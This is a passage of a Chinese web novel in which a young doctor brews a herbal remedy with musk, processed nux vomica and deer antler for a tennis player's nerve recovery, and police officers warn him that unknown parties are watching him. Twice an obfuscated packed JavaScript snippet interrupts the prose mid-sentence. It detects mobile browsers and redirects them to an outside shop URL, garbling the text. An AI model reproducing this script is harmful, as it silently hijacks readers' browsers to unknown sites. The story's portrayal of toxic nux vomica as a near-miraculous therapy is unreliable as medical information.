江起感到一阵深沉的疲惫,但精神却异常亢奋,他重新审视最初的“复元振痿汤”,根据加入特殊药材后的整体药性,对方中其他药物的剂量和个别佐药进行了微调,使得全方君臣佐使配合更加精密,补而不滞,通而不伤,醒而不散。 最终,一份厚达十余页的《关于幸村精市君格林巴利综合征恢复期“针药并用”综合治疗方案(草案)》完成了。 包括:病情总述与病机分析、治疗总则、内服方药组成(附详细方解、每味药剂量、炮制要求、煎服方法)、特殊药材使用专项说明、针灸配穴方案(与内服药协同,分期取穴)、预计治疗周期与阶段目标、可能出现的不良反应及应对、饮食生活调理建议、与现有西医康复方案的协同要点。 放下笔,江起揉了揉发胀的太阳穴,但看着眼前这份凝聚了他目前全部所学、所悟,甚至略带几分冒险精神的方案,心中涌起一股强烈的踏实感。他尽力了。 “咚咚。” 轻轻的敲门声响起。 “请进。” 江起抬头。 门被推开,石田一郎端着一个托盘走了进来,上面放着一碗热气腾腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938587|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香菇鸡丝粥和两碟小菜。“小林说你一直没出来吃饭。先吃点东西。” “谢谢石田先生。” 江起这才感到胃里空空如也,也没客气,接过粥碗。 石田一郎没有离开,目光落在书案上那叠厚厚的稿纸上。“有头绪了?” “嗯,草案完成了,请您过目。” 江起将主方案和那份特殊药材附录一起递给石田一郎。 石田一郎接过,就站在书案旁,借着灯光仔细阅读起来,他看得很慢,神色越来越凝重,时而点头,时而蹙眉,尤其是在看到特殊药材部分时,他的呼吸似乎都屏住了。 房间里只剩下他翻阅纸张的沙沙声和江起喝粥的细微声响。 足足过了半小时,石田一郎才放下最后一页,他长长地吐出一口气,抬起头,看向江起的眼神极为复杂,有震撼,有赞叹,也有一丝深深的忧虑。 “江君……” 石田一郎的声音有些干涩,“你这方子……胆子太大了,不,不仅仅是胆子大。 这方理之精,配伍之巧,尤其是对‘痿证’深层病机的把握和对这些特殊药材药性的理解与应用思路……很多地方,已经超出了常规教材,甚至有些想法,与我年轻时在一些失传孤本上看到的只言片语不谋而合,但又比那些记载更系统、更大胆、也更……周密。 你确定,要用麝香和制马钱子?还有鹿茸,这东西的来源和质量……” “我确定有必要。” 江起放下空碗,语气坚定,“幸村君的病,常规补益通络之法,犹如隔靴搔痒,难以触及根本。 他的神经和肌肉,需要一种强烈的、积极的‘信号’来打破目前的沉寂和僵局。 麝香开窍醒神,能振奋颓阳,透达经络;制马钱子通络散结,力专效宏,对顽固性麻木拘挛有奇效;鹿茸性温,能鼓动阳气,温通经络,与方中滋阴养血之品相合,可化生精血,直达奇经,对振奋衰颓的机体机能、促进筋骨生长修复有不可思议的奇效。 这三者,是此方案能否取得突破性进展的关键。 当然,风险我已详细列出,剂量、炮制、煎服,每一个环节都必须万无一失。” 石田一郎沉默地走回书案,再次拿起那份特殊药材附录,仔细看着上面密密麻麻的剂量计算、配伍减毒分析和应急预案。 “药材来源和炮制,我来想办法。” 良久,石田一郎终于开口,声音低沉有力,“小泉教授提到的人脉,该用就得用。 天然麝香和顶级的制马钱子,还有顶级鹿茸,虽然难搞,但不是弄不到,关键是你这用量,” 他指着纸上那个微小到极点的数字,“简直是在刀尖上跳舞,你有多大的把握,这个剂量既能起效,又不至于出事?” “九成。” 江起直视着石田一郎的眼睛,没有丝毫闪躲,“基于我对药性的理解,对幸村君目前体质承受力的判断,以及方中其他药物对它们的制约,剩下一成,是不可预知的个体差异。 但不行此险招,按部就班,幸村君想要恢复到理想状态,概率恐怕不到三成。 时间拖得越久,神经肌肉的废用性改变越不可逆。” 石田一郎定定地看着他,仿佛要透过他的眼睛,看到他脑海深处那浩瀚知识的来源。 最终,他缓缓点了点头,将方案郑重地收好。 “明天一早,我会带着这份方案,去找小泉教授和几位信得过的老药工、老药师。 如果他们也认为可行,我们就开始准备。 另外,柳莲二那边,也需要同步这份方案的概要,尤其是风险评估部分,必须得到幸村本人及其监护人的完全知情同意。” 石田一郎安排道,恢复了平日的干练严谨。 “是。” “你今晚就住诊所吧,好好休息,明天,还有的忙。” 石田一郎说完,端着托盘离开了静室,轻轻带上了门。 静室重新恢复了绝对的安静。 江起走到窗边,推开一丝缝隙。 夜风带着凉意涌入,吹散了室内的药气和墨香,远处,东京的灯火依旧璀璨如星河 26.第 26 章 晨光尚未完全驱散夜色,石田诊疗所二楼煎药室的灯便已亮起。 空气中弥漫着一股浓郁而复杂的药香,混合着人参的甘醇、熟地的厚重、黄芪的温润,以及清冽醒神的特殊气息。 江起穿着白大褂,戴着无菌手套,站在特制的紫砂药炉前,神情是前所未有的专注,甚至可以说虔诚,他手中的戥子(中药小秤)精确到毫克,每一次添加药材都缓慢而稳定。 石田一郎站在他侧后方一步的位置,同样全神贯注,既是监督,也是助手,更像是一位为弟子护法的严师。 煎药室经过了临时改造,通风良好,但门窗紧闭,隔绝了一切外界干扰,小林护士守在外面,确保无人打扰。 案台上,除了常规药材,还摆放着三个用桑皮纸和蜡仔细密封的小包,分别是江起方案中提到的“特殊药材”:微量天然麝香、精制过的马钱子粉末、以及取酥炙过的鹿茸薄片。 这三样东西,是石田一郎动用了半生人脉,甚至通过小泉教授牵线,在短短两天内,从几位国宝级老药工和收藏家手中辗转求来的,每一份都附有详细的来源和品质鉴定书,珍贵异常,也风险极高。 “先煎参、芪、术、地、茱萸、枸杞,武火煮沸,文火慢煎一个时辰,取其醇厚补益之力。” 江起低声自语,也是向石田一郎说明步骤,他将配伍好的主药轻轻放入已有清水的紫砂壶中,盖上特制的留有细孔的盖子。 炉火是特制的电陶炉,温度可精确控制。 时间在药香的蒸腾中缓缓流逝,一个时辰后,药液呈现出浓郁的棕褐色,江起将药汁滤出,置于一旁备用,药渣留于壶中。 “再下杜仲、续断、骨碎补、当归、茯苓、三七、鸡血藤、稀莶草、伸筋草、怀牛膝,加适量清水,同样先武后文,煎煮半个时辰,此次取其通经活络、强筋健骨之效。” 第二批药材加入,不同的药材组合,在不同的煎煮时间下释放出不同的有效成分,这是方剂学中“先后煎”的智慧。 半个时辰后,第二次药汁滤出,与第一次的药汁混合。 此时,药液总量约剩三百毫升左右,色泽更深,药香也更加厚重复杂。 最关键的时刻来临。 江起的神情凝重到极致,他洗净手,重新戴上手套,小心翼翼地取出了那三包特殊药材,他先处理鹿茸,取酥炙过的鹿茸薄片,放入一个小炖盅,加少量清水和药汁,隔水慢炖近一个时辰,直至茸体酥软,汁液浓缩,将其汁液与炖软的茸片(研糊)兑入主药汁中…… 接着是制马钱子粉,加入时,他的动作更轻,搅拌更久,确保均匀分散,避免任何局部浓度过高。 最后,是那一点点珍贵无比的天然麝香,他没有直接加入药汁,而是取出一张极薄的糯米纸,将麝香均匀地撒在纸上,然后将纸对折,轻轻放入尚有余温的药汁中。 利用药汁的余温,让麝香的香气和有效成分缓慢析出、融合,而不是用高温煎煮导致其挥发性成分过度损失。 这是一个近乎失传的古老下药法,记载于某本明代医家手札,被系统知识库保留了下来。 整个过程中,石田一郎屏息凝神,目光须臾不离江起的手和药壶。 直到江起将混合了所有药材精华、最终浓缩至约两百毫升的药汁,倒入一个保温性极佳的瓷瓶中,仔细封好,两人才同时长长地舒了一口气,仅仅是煎药这个过程,就耗费了近三个小时,心力交瘁。 “好了。” 江起的声音有些沙哑,但眼神明亮,“第一次的药,成了。” 石田一郎点了点头,没有说话,只是用力拍了拍江起的肩膀。一切尽在不言中。 上午九点,幸村精市、真田弦一郎和柳莲二准时抵达诊所。 与往常不同,今天柳莲二手中多了一个小巧的银色密码箱,打过招呼后,江起没有在诊室进行针灸,而是将三人带到了二楼一间更加安静、配有简单监测设备的观察室,石田一郎也在场。 “幸村君,真田君,柳君,” 江起开门见山,神色郑重,“基于之前的评估和我制定的方案,内服的汉方药已经准备完毕,在服药之前,我必须,也必须再次,向你们说明情况。” 他示意柳莲二打开密码箱,里面是几份装订好的文件,以及那个装着药汁的瓷瓶。 “这是完整的治疗方案副本,包括方剂组成、每味药的详细说明、煎制方法、以及,” 江起顿了顿,加重语气,“关于其中三味特殊药材的独立风险评估与知情同意书。 这三味药,是此次治疗能否取得突破的关键,但使用它们也存在一定的、理论上可控的风险,主要是对体质的高度敏感性和对剂量、配伍的极端苛刻要求。 文件中列出了所有可能发生的不良反应、我们的应对预案,以及立即中止治疗的标准。” 他将文件递给幸村,同时也给了真田和柳莲二一份。“请你们,尤其是幸村君和你的监护人,仔细阅读,有任何疑问,现在就可以提出。如果阅读后,认为风险不可接受,我们可以立刻停止,继续沿用原来的纯针灸方案,绝不强求。” 幸村精市接过文件,鸢蓝色的眼眸平静地扫过标题,然后开始认真阅读。 真田弦一郎眉头紧锁,看得更快,但眼神锐利,不放过任何一个字。 柳莲二则几乎是逐行扫描,同时手指在平板电脑上快速敲击,似乎在同步计算或记录着什么。 观察室里很安静,只有翻动纸张的声音和仪器轻微的嗡鸣,石田一郎安静地站在一旁,像一座沉稳的山,江起则平静地等待着,目光清澈。 大约二十分钟后,幸村精市抬起了头。 他看起来比刚才更加苍白了一些,但眼神却异常坚定,甚至有种破釜沉舟般的锐利,他看向真田和柳莲二。 “我没有问题。” 真田弦一郎沉声道,声音有些干涩,但充满信任,“我相信江医生和石田所长。” 柳莲二也抬起头,推了推眼镜,淡紫色的眼眸中数据流般的光芒已经平复:“加入新变量(特殊药材)后,预期收益曲线显著上移,风险概率在可控阈值内,数据支持继续。” 幸村精市点了点头,然后转向江起,微微一笑,那笑容依旧清浅,却带着千钧之力:“江医生,我读完了,所有的风险,我都明白了,如果成功,我可能离球场更近一步。 如果失败,最坏的结果,也不会比现在这样缓慢地耗下去更差。我选择相信您,也相信我自己,请开始吧。” “好。” 江起心中一块大石落地,但旋即提起更高的警惕,他拿起瓷瓶,倒出大约五十毫升深褐色的药汁在一个小碗中,药香更加浓郁扑鼻。“第一次服药,剂量减半,以观察身体反应,服药后,需要在这里静卧观察至少两小时,我会和石田所长全程监测你的生命体征,和任何细微感受。有任何不适,哪怕极其轻微,必须立刻告诉我,不要隐瞒。” “我明白。” 幸村接过小碗,没有犹豫,深吸一口气,将药汁缓缓饮尽。 药味极苦,带着辛、甘和一种难以形容的穿透性气息,但他眉头都没皱一下。 服药完毕,江起示意他平躺在观察床上,连接上心电监护仪(监测心率、心律),并定时测量血压、体温。 柳莲二也打开了自己的设备,记录着时间点。 起初的半小时,一切如常。 幸村闭目养神,呼吸平稳,真田在一旁正襟危坐,如同守护的武士,柳莲二则不断地在本子上记录着什么。 四十五分钟左右,幸村的额头开始渗出细密的汗珠,不是冷汗,而是温热的,他轻声说:“感觉……身体里面,有点发热,从胃里开始,慢慢往四肢走,手脚……好像没那么冰凉了。” “很好,这是药力开始运行,温通经络的表现,继续观察。” 江起一边记录,一边解释,同时密切关注监护仪。 又过了约二十分钟,幸村忽然微微蹙眉,低声道:“江医生,右手的手指……刚才好像有点不受控制地抽动了一下。” 江起和石田一郎立刻对视一眼,都看到了对方眼中的一丝亮光。 肌肉的不自主抽动(肌束震颤),在某些神经修复的早期,有时是一种积极的信号,表明沉睡或受损的运动神经元开始出现不稳定、紊乱的重新激活尝试。 “位置?程度?现在还有吗?” 江起立刻追问,手指轻轻搭上幸村的手腕感受脉象,脉象比之前稍显滑数有力,但整体仍偏弱。 “右手食指,就一下,现在没了。” 幸村仔细感受着。 “继续放松,留意任何感觉变化,但不必刻意寻找。” 江起叮嘱。他注意到幸村的脸色虽然依旧苍白,但颧骨处似乎有了一丝几乎难以察觉的红晕。 两小时的观察期平稳度过。 除了最初的热感和那次轻微的肌肉抽动,幸村没有出现任何恶心、呕吐、心慌、头晕等不良反应,生命体征一直保持平稳。这无疑是一个极好的开端。 “第一次服药反应良好。” 江起最终宣布,心中也松了口气,“今天下午可以进行常规针灸,穴位会针对药力进行微调,帮助疏导和巩固。这服药,之后每两天服用一次,剂量逐渐增加至全量。 期间有任何异常,随时联系,另外,服药期间,务必严格遵循饮食禁忌,避免生冷、油腻、发物,保持情绪稳定,睡眠充足。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943554|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,我记下了,谢谢您,江医生,石田所长。” 幸村在真田的搀扶下慢慢坐起,虽然依旧虚弱,但眼神中那簇火苗,似乎被方才体内那股陌生的“热流”和微小的“悸动”吹得更加明亮了些。 送走立海大三人,江起和石田一郎回到煎药室,开始清理器具,讨论着方才幸村的每一点反应。 “热感先于中焦,达于四末,是阳气来复,药力通行之兆,那一闪即逝的肌肉抽动,更是意外之喜,虽然不能说明什么,但至少证明药物能触及神经层面。” 石田一郎分析道,语气中带着欣慰。 “嗯,但真正的考验,是身体能否适应并利用这股药力,进行实质性的修复,接下来几天,需要严密观察,针灸也必须跟上,引药归经,事半功倍。” 江起补充。 两人正说着,小林护士敲门进来,脸色有些古怪:“所长,江医生,楼下……有一位访客,指名要见江医生,他说他姓黑田,是警视厅刑事部搜查一课的……” 黑田?江起和石田一郎对视一眼,都有些疑惑,他们不记得认识这样一位警官。 “请他到小会客室。” 石田一郎吩咐。 几分钟后,江起在小会客室见到了这位自称“黑田”的访客。 对方看起来五十多岁,身材高大,肤色黝黑,左眼似乎有些不太灵便,戴着一副茶色眼镜。 他穿着普通的夹克衫,但站姿笔挺,气质沉稳中透着一股久居上位的威严和难以言喻的……沧桑感。 “江起医生,初次见面,我是黑田兵卫,目前在警视厅任职。” 对方的声音低沉沙哑,很特别,他递过来的证件显示,他确实是警视厅刑事部搜查一课的官员,职位不低。 “黑田警官,您好,请问找我有什么事吗?” 江起礼貌地问道,心中却暗自警惕。 这位黑田警官给他的感觉,和目暮、松田他们都不同,更加深不可测。 黑田兵卫没有立刻回答,而是用他那双藏在茶色镜片后的眼睛,仔细地、缓慢地打量了江起一番,那目光仿佛能穿透皮肉,直视灵魂,然后,他缓缓开口,说出的第一句话,就让江起的心脏猛地一跳: “关于一个多月前,发生在港区的那起导致公安警官重伤的袭击事件,以及近期对某些暴力团体的清查行动……江医生,你是否察觉到,自己可能被卷入了一些超出你想象范畴的麻烦之中?比如,一些……过于‘关注’你的目光?” 江起的瞳孔几不可查地收缩了一下,他控制着自己的表情,平静地回答:“黑田警官,我不太明白您的意思,我是一名医生,救治患者是我的职责。 至于您说的‘关注’,或许是我近期参与了几次急救,得到了一些媒体的报道和警方的认可。” “是吗?” 黑田兵卫的嘴角似乎极其轻微地扯动了一下,像是在笑,又不像,“医生的职责……也包括在暴雨夜,用一支圆珠笔,精准地为一个素不相识的重伤者实施张力性气胸穿刺,并且恰好救下某位身份极为特殊的人物吗?这样的巧合,这样的能力,想不引起‘关注’,恐怕都难。” 他顿了顿,向前微微倾身,声音压得更低,带着一种金属摩擦般的质感:“我无意探究你的医术来源,也对你救治谁没有意见,相反,我个人对你展现出的能力和胆识,抱有敬意,我今日来,只是以一个在黑暗中行走多年、见过太多事情的过来人身份,给你一个忠告,或者说,一个提醒。” 江起屏息凝神。 “东京的水,很深。有些漩涡,一旦被卷进去,就很难再脱身,你现在获得的帮助和关注,能让你浮在水面,甚至乘风破浪。但它们也可能让你成为更显眼的靶子,吸引来真正深水下的猎食者。” 黑田兵卫的目光仿佛穿透镜片,直刺江起心底,“你治疗的那位幸村家的少年,很好,专注于你的医术,救治你能救治的人,这是你最好的护身符。 但永远不要以为,一纸资格,或者某些大人物的青睐,就能让你高枕无忧,真正的危险,往往披着最无害的外衣,在你最意想不到的时候到来。 保持警惕,江医生,对你看到的,听到的,接触到的,多一份审慎,为了你自己,也为了你身边的人。” 说完这番话,黑田兵卫直起身,恢复了公事公办的表情:“另外,关于村上组那条观察你的线,我们搜查一课会继续追查,如果有进一步消息,且与你相关,我们会通过适当渠道告知,告辞。” 他微微颔首,不再多言,转身离开了会客室,留下江起一人站在原地,久久没有动作。 窗外的阳光明媚依旧,但江起却感到一股寒意,从黑田兵卫最后那句话中渗透出来,缓缓爬上脊背。 27.第 27 章 幸村精市的治疗,如同在平静的湖面投下了一枚越来越重的石子,漾开的涟漪逐渐显现出清晰的轮廓。 第二次服药并配合调整后的针灸后,幸村的反馈更加明确。 除了持续的内部温热感,他提到早晨醒来时,手指和脚趾末端的麻木感,出现了一种“像被微弱电流轻轻刺了一下,然后那片麻木区域似乎缩小了一点点”的奇异感觉。 虽然转瞬即逝,且无法复现,但对于长期处于麻木状态的他来说,任何一丝不同的感觉都弥足珍贵。更明显的是精力,他自述午后那种难以抗拒、仿佛身体被抽空的沉重疲惫感,出现的时间推迟了,程度也似乎减轻了少许。 柳莲二的数据记录精确地印证了这些主观感受。 他将幸村每日的握力(用特制的、灵敏度极高的微型握力计测量)、特定动作(如用手指捏起不同重量的小球)的完成时间和稳定性、以及静息心率和血压波动,都纳入了监测范围。 数据显示,虽然绝对数值的提升微乎其微,但数据的离散度(波动范围)在服药后的几天内呈现收敛趋势,这意味着身体状态趋于稳定,而某些反映神经传导效率的间接指标(如完成简单指令性动作的反应时间),出现了统计意义上不显著、但方向积极的微弱改善信号。 “数据模型显示,治疗方案介入后,系统(指幸村的身体)正在脱离之前的‘稳态平台期’,进入一个新的、带有轻微正反馈的‘扰动恢复期’。” 柳莲二在电话里向江起汇报,声音依旧平静,但江起能听出其中一丝几不可查的波动,“扰动源(药物)的强度和频率控制是关键,目前参数设置,位于模型预测的‘安全-有效’窗口边缘。需要持续密切观察。” “我明白。第三次服药后,我会根据他的脉象和反应,考虑是否微调鹿茸的剂量和煎煮时间。”江起回答,他清楚,现在如同在万丈深渊上走钢丝,每一步都必须精确到毫厘。幸村身体的任何一点积极变化,都让他欣喜,也让他更加警惕。 中医药效的积累和身体的修复需要过程,真正的考验还在后面。 石田一郎看着江起每日一丝不苟地记录、调整、与柳莲二沟通,眼中赞赏之色愈浓。 这个年轻人不仅拥有惊世的医术,更具备顶尖医者必需的谨慎、耐心和强大的逻辑分析能力。 他将诊所里最好的资源都向江起倾斜,自己则更多地负责起与协会、药材供应商的沟通,以及挡掉一些不必要的探询。 然而,树欲静而风不止。 这天下午,江起刚为一位颈椎病患者做完针灸,正在诊室整理病历,松田阵平和萩原研二便推门走了进来。 两人都穿着便服,但眉宇间带着一丝外勤归来的风尘和不易察觉的凝重。 “哟,江医生,忙呢?”萩原研二笑着打招呼,顺手关上了诊室的门。 “松田警官,萩原警官。”江起起身,“今天怎么有空过来?喝茶吗?” “不用。”松田阵平走到窗边,习惯性地看了一眼楼下街道,然后转过身,开门见山,“关于上次说的那个‘杂鱼’,还有灰衣人,有点进展。” 江起神色一正,示意他们坐下:“请说。” 萩原研二接过话头,语气比平时严肃:“我们顺着那条线深挖了一下。那个村上组的小头目,接的‘观察’你的私活,中间人很小心,用了好几个壳子。 但技术部门追查支付路径,最后那个境外账户的资金源头,虽然经过了多次清洗,但大致流向,指向了一个……嗯,带有半官方背景的离岸投资基金,这种基金,通常用来做一些不太方便放在台面上的‘投资’或‘服务’。” 半官方背景?离岸基金?江起立刻联想到了黑田兵卫模糊的警告,以及石田一郎提及的、推动评审资格的“高层关注”。 “意思是,雇佣灰衣人观察我的,可能是某个……有官方或准官方背景的势力?”江起问。 “可能性很高。”松田阵平点头,墨镜后的目光锐利,“而且目的似乎很单纯,就是观察。记录你的日常,评估你的行为模式,人际关系,甚至……可能包括你的医术发挥情况。 没有恶意行动指令。灰衣人本人我们也通过其他渠道锁定了,是个有军方侦察背景、后来干私家侦探和灰色‘信息收集’的独行侠,信誉不错,拿钱办事,口风很紧吗,他只知道雇主来头大,要求只是‘看’和‘记’,其他一概不知。” 萩原研二补充道:“结合你之前救过的那位‘贵人’,以及突然顺畅起来的资格评审,几乎可以肯定,观察你的人,和后来在评审中提供‘助力’的,是同一方,或者至少是利益关联方。 他们在投资你,江君,用一种非常……谨慎且长远的方式。” 江起沉默,被人如此细致地观察、评估,即便没有恶意,也让人感到一种无形的压力和不适,但另一方面,这也解释了为什么一些障碍会被轻易扫清。 福兮祸所伏,祸兮福所倚。 “黑田兵卫找过你了?”松田阵平忽然问。 江起抬头,有些惊讶,随即了然,警视厅内部,消息总是灵通的。 “是,前几天,他给了我一些警告。” “那家伙……”松田阵平哼了一声,语气复杂,“虽然脾气又臭又硬,眼睛还瞎了一只,但看事情确实又毒又准,他能主动找你,说明他也注意到你被卷进了一些不寻常的事情里。 他提到的‘深水’和‘猎食者’,不是危言耸听,你现在有了治病的‘利器’(汉方资格),救了不该死的人,又入了某些大人物的眼,就像黑夜里的萤火虫,想不引人注目都难,有些藏在更深处的家伙,对‘稀缺资源’和‘不确定性’最感兴趣。” 萩原研二也收起了笑容:“小阵平说得对,我们调查灰衣人线的时候,还察觉到另一股很隐蔽的、试图抹掉痕迹的力量。 、不是观察你的那方,更像是……在观察‘观察者’,或者说,在关注‘谁在关注你’。 对方的反侦察能力很强,我们差点被误导。这说明,对你感兴趣的,可能不止一方。后面的水,比我们想的还浑。” 不止一方……江起感到一阵寒意。除了可能的“贵人”势力,还有谁?组织?还是其他觊觎他医术,或对他“不合常理”的崛起感到好奇的势力? “你自己一定要小心。”松田阵平看着江起,语气是少见的郑重,“平时作息、出行尽量规律,但也要有意识地打破规律,诊所和学校相对安全,但往返路上,多留意。那个报警器,随身带好,有任何不对劲,哪怕只是感觉,立刻联系我或者Hagi。” “我会的,谢谢。”江起由衷感谢。有松田和萩原这样经验丰富、立场坚定的朋友在警方内部,是他目前最大的安全保障之一。 “对了,”萩原研二像是想起什么,“你们东大医学部最近是不是和一个什么国际生物医学研究所有交流项目?我好像在内部通报的涉外安保提醒里瞥见过一眼。” 江起想了想:“好像是有,一个欧洲的研究所,方向是神经退行性疾病和再生医学,学院里正在选拔学生参与短期交流,竞争挺激烈的,怎么了?” “没什么,就是提醒一下,如果涉及到出国或者与某些背景复杂的国际机构接触,多留个心眼,那些地方,有时候也是情报和特殊人才争夺的温床。”萩原研二摆摆手,“不过你估计也没空参加那些吧,光诊所和幸村君的治疗就够你忙的了。” 又聊了几句,叮嘱江起注意休息后,松田和萩原便离开了,他们总是来去匆匆,身上似乎永远有处理不完的案件和危险。 江起送走他们,回到诊室,却有些心绪不宁。 松田最后关于“国际研究所”的随口一提,和萩原提到的“另一股试图抹掉痕迹的力量”,像两根细刺,扎在他心里。 他走到窗边,眺望远方,东京的天空下,无数建筑玻璃反射着阳光,刺眼而迷离。 这座庞大的都市,在阳光照耀的街道之下,究竟隐藏着多少不为人知的暗流与视线? 他下意识地摸了摸口袋里的报警器,又想起黑田兵卫那双仿佛能洞悉一切的眼睛,自己只是想治病救人,凭医术立足,为何会一步步陷入如此复杂的漩涡? 就在这时,一阵极其剧烈、完全不同于以往任何一次感应、甚至超越了面对生命危险时的心悸与恶寒,毫无征兆地、如同冰锥般狠狠刺入他的心脏和脑海! 这不是被注视的感觉,也不是对危险的预警。 这是一种更原始、更黑暗的生理性厌恶与恐惧,仿佛触发了某种深植于骨髓和灵魂深处的、连他自己都无 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刚推门进来送资料的小林护士看到他这副模样,吓得惊叫出声,手里的文件夹都掉在了地上。 “……没、没事……” 江起艰难地吐出几个字,声音嘶哑得自己都陌生,他用力掐了一下自己的虎口,剧烈的疼痛让他混乱的头脑稍微清醒了一点点,但那残留的恐惧和恶心感,依然像冰冷的藤蔓缠绕着心脏。 又是那种莫名的感应!但这一次,强度、诡异程度、以及带来的负面感受,都远超以往!那是什么地方?那些感觉是什么?为什么自己会有如此剧烈、如此……“熟悉”的恐惧和厌恶?他确信自己从未去过那样的地方,从未接触过那样的气味和声音,至少在他的记忆里没有。 难道……是自己潜意识里对某些极端医疗环境,产生了过度联想和恐惧?因为最近压力太大,精神过于紧绷导致的幻觉?还是说……自己身上,真的有什么连自己都不知道的、深层的、对特定环境或刺激的创伤性反应? 这个念头让他不寒而栗,作为一个医学生,他理论上不应该对医疗环境有如此极端的生理排斥,而且,那混合的古怪甜腥腐朽气味,绝不是普通医院或实验室该有的味道。 “江医生,您脸色太难看了,我扶您去休息室躺一下,叫石田先生过来看看!” 小林护士焦急地说道。 “不……不用。” 江起深吸几口气,强迫自己站直,尽管腿还有些发软,“可能是最近没休息好,有点低血糖,我坐一下就好。” 他不能惊动石田一郎,无法解释刚才那诡异的感受。 在小林护士担忧的目光中,江起缓缓走到椅子边坐下,接过她递来的温水,慢慢喝了几口。 冰凉的液体划过喉咙,稍微压下了一些翻腾的恶心感,但那股寒意和心悸,却依旧盘踞不散。 “您真的没事吗?要不要取消下午的预约?” 小林护士不放心。 “不用,我休息一下就好。谢谢。” 江起勉强挤出一个笑容。 小林护士将信将疑地离开了,一步三回头。 诊室里只剩下江起一人。他靠在椅背上,闭上眼睛,手指无意识地按着发胀的太阳穴,试图捕捉和分析刚才那短暂却恐怖的“幻觉”。 无影灯、冰冷的金属、仪器嗡鸣、古怪的气味……这些元素组合在一起,指向性非常明确——一个高度专业、封闭、可能进行某种特殊操作或研究的环境,而自己对此产生的、近乎本能的、剧烈的恐惧和厌恶…… 他想起自己偶尔会闪过的、对某些特定场景的轻微不适,以及那种对“黑衣组织”相关事物的模糊“感应”。他一直以为那是自己敏锐的直觉或某种说不清道不明的天赋。 但今天这次,强度太大,感受太具体,带来的负面冲击也太强烈,绝不仅仅是“直觉”能解释的。 自己身上,到底还藏着多少连自己都不了解的谜团?这些莫名的感应和恐惧,究竟从何而来?和那些在暗处观察自己、觊觎自己的势力,又有没有关系? 未知带来不安,而不安的来源竟是自己,这感觉更加令人窒息。 东京的黄昏,瑰丽而短暂。 当最后一缕余晖消失在天际,城市便会沉入由灯光与暗影共同织就,更加复杂难明的夜幕之中。 28.第 28 章 那天之后诡异的恐惧幻觉,如同在江起的心湖中投下了一块沉重的冰,寒意久久不散。 他尝试用理性的方式去分析:或许是近期压力过大、睡眠不足导致的神经性反应,或是某种罕见的、对特定复合气味的严重生理过敏。 他甚至在诊所的资料室里,查阅了一些关于创伤后应激障碍(PTSD)和特定感觉诱发惊恐发作的文献,但那些冰冷的学术描述,与他所经历的那种仿佛源自灵魂深处、对“未知具体事物”的原始恐惧,似乎又隔着一层。 他无法向任何人诉说,包括石田一郎,这感觉太私人,也太离奇。他只能将之默默记下,连同日期、时间、触发前的情境,以及幻觉的细节,加密记录在只有自己能访问的电子笔记中。 他隐约觉得,这与自己那些模糊的“危险感应”一样,可能是自己身上某个尚未解开的谜团的一部分。 在谜底揭开前,他只能保持警惕,并尽量不让这莫名的恐惧影响自己的判断和工作。 幸村精市的第三次服药按计划进行。 江起根据之前的脉象和反应,将鹿茸的剂量略微上调,并调整了煎煮时与其他几味滋阴药的投放顺序,以求更好地发挥其温阳益精而不燥烈的功效。 服药后的反应总体平稳,那股温煦的热流感更明显,持续时间也稍长。 幸村表示,连续几个晚上,睡眠质量似乎有进一步的提升,晨起时头脑的昏沉感减轻了。 柳莲二的数据也继续指向积极的收敛和微弱改善趋势。 但江起也注意到了一个需要关注的细节。 幸村在服药后约一小时,曾短暂地感到一丝难以定位的“燥热”感,并非全身温暖,而是集中在胸背之间,伴有极轻微的心跳加快,这迹象很微弱,幸村自己都差点忽略,是在江起反复追问下才回忆起来。 “鹿茸性温,虽经炮制和配伍,初次加量,身体仍需适应,此燥热感位置偏上焦,或许与心气略有浮动有关。”江起在记录中分析,并决定在下次针灸时,增加内关、神门等宁心安神的穴位,并在后续的药方中,考虑加入微量麦冬或五味子以制约潜在的温燥,巩固“阴中求阳”的方略。 治疗如用兵,需随时根据“战场”反馈调整部署。 就在江起专注于为幸村调整方案细节时,石田一郎带来了一个颇为特殊的预约。 “江君,有位患者,情况比较棘手,是通过……多层关系辗转介绍过来的。”石田一郎将一份简单的病历摘要放在江起桌上,表情有些耐人寻味,“患者是职业运动员,东京读卖巨人队的替补投手,叫小林圭介,二十五岁,左投手。” 职业棒球选手?江起有些意外。 虽然他在运动损伤方面已有口碑,但主要是青少年运动员,直接接触到顶级职业联盟的选手还是第一次。 “他怎么了?” “左肩关节唇撕裂,一年前在美国做的关节镜修复手术,术后恢复不顺,反复发炎、粘连,活动度和肌力始终无法恢复到投球要求,更麻烦的是,” 石田一郎推了推眼镜,“他出现了投球失忆症(Yips)的迹象——在牛棚练习时,有时会突然无法控制地失去对球的掌控,动作变形,但不是因为疼痛。 美国和他球队的医疗团队倾向于认为是心理问题,但他自己坚称是‘身体感觉不对’。常规的物理治疗、心理干预效果都不理想。 现在球队对他的耐心快耗尽了,他自己也濒临崩溃,介绍人是他的一位前辈,也是我们之前救过的那位佐藤管理官的朋友。” 原来有这层关系,佐藤管理官恢复良好,已转入康复期,这份人情看来开始以各种方式回馈了。 